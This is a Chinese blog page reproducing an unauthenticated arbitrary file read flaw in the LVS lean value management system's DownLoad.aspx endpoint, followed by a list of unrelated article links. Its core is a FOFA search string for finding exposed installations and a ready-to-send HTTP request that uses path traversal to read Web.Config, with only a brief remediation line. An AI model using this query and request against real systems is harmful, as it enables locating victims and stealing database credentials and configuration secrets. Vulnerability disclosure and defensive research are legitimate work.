当前位置： 首页 > news >正文

LVS精益价值管理系统 DownLoad.aspx 任意文件读取漏洞复现

news 来源：原创 2024/9/29 22:55:39

0x01 产品简介

LVS精益价值管理系统是杭州吉拉科技有限公司研发的一款专注于企业精益化管理和价值流优化的解决方案。该系统通过集成先进的数据分析工具、可视化的价值流映射技术和灵活的流程改善机制，帮助企业实现高效、低耗、高质量的生产和服务。

0x02 漏洞概述

LVS精益价值管理系统 DownLoad.aspx 接口处存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

0x03 复现环境

FOFA：

body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"

0x04 漏洞复现 

PoC

GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

0x05 修复建议 

关闭互联网暴露面或接口设置访问权限

升级至安全版本

相关文章：

  • Unity中的MVC框架
  • C++ lambda表达式的作用和代码示例
  • autodl服务器中YOLOx训练自己数据集
  • 人脸识别系统之动态人脸识别
  • vscode 好用的插件
  • 程序员坐牢了，会被安排去写代码吗？
  • Reddisson的常用的yml配置选项
  • 百度云下载不限速方式集合
  • C#WPF数字大屏项目实战01--开发环境与项目创建
  • 用旧安卓手机当 linux 开发机
  • 你每天都在用的APP，原来都是Python写的！
  • 【前端Vue3】——JQuery知识点总结（超详细）
  • 【Node】node的Events模块（事件模块）的介绍和使用
  • sqlite--SQL语句进阶
  • GPT-4o：人工智能新纪元的突破与展望
  • [译]前端离线指南（上）
  • 10个最佳ES6特性 ES7与ES8的特性
  • Flannel解读
  • JS函数式编程 数组部分风格 ES6版
  • Linux快速配置 VIM 实现语法高亮 补全 缩进等功能
  • Python语法速览与机器学习开发环境搭建
  • Redis在Web项目中的应用与实践
  • Webpack4 学习笔记 - 01：webpack的安装和简单配置
  • 从0到1：PostCSS 插件开发最佳实践
  • 发布国内首个无服务器容器服务，运维效率从未如此高效
  • 翻译 | 老司机带你秒懂内存管理 - 第一部（共三部）
  • 前端 CSS : 5# 纯 CSS 实现24小时超市
  • 推荐一款sublime text 3 支持JSX和es201x 代码格式化的插件
  • 优化 Vue 项目编译文件大小
  • 在Unity中实现一个简单的消息管理器
  • ［地铁译］使用SSD缓存应用数据——Moneta项目: 低成本优化的下一代EVCache ...
  • 如何在 Intellij IDEA 更高效地将应用部署到容器服务 Kubernetes ...
  • 曜石科技宣布获得千万级天使轮投资，全方面布局电竞产业链 ...
  • ​Linux·i2c驱动架构​
  • # Redis 入门到精通（八）-- 服务器配置-redis.conf配置与高级数据类型
  • #QT（TCP网络编程-服务端）
  • #Z2294. 打印树的直径
  • #我与Java虚拟机的故事#连载05：Java虚拟机的修炼之道
  • %check_box% in rails :coditions={:has_many , :through}
  • （32位汇编 五）mov/add/sub/and/or/xor/not
  • （C#）if (this == null)？你在逗我，this 怎么可能为 null！用 IL 编译和反编译看穿一切
  • (PyTorch)TCN和RNN/LSTM/GRU结合实现时间序列预测
  • (搬运以学习)flask 上下文的实现
  • （三） diretfbrc详解
  • （三）Kafka 监控之 Streams 监控（Streams Monitoring）和其他
  • （十八）三元表达式和列表解析
  • (四)软件性能测试
  • （最简单，详细，直接上手）uniapp/vue中英文多语言切换
  • .bat批处理（二）：%0 %1——给批处理脚本传递参数
  • .helper勒索病毒的最新威胁：如何恢复您的数据？
  • .htaccess配置常用技巧
  • .net core 调用c dll_用C++生成一个简单的DLL文件VS2008
  • .NET 中的轻量级线程安全
  • .NET程序员迈向卓越的必由之路
  • .net流程开发平台的一些难点（1）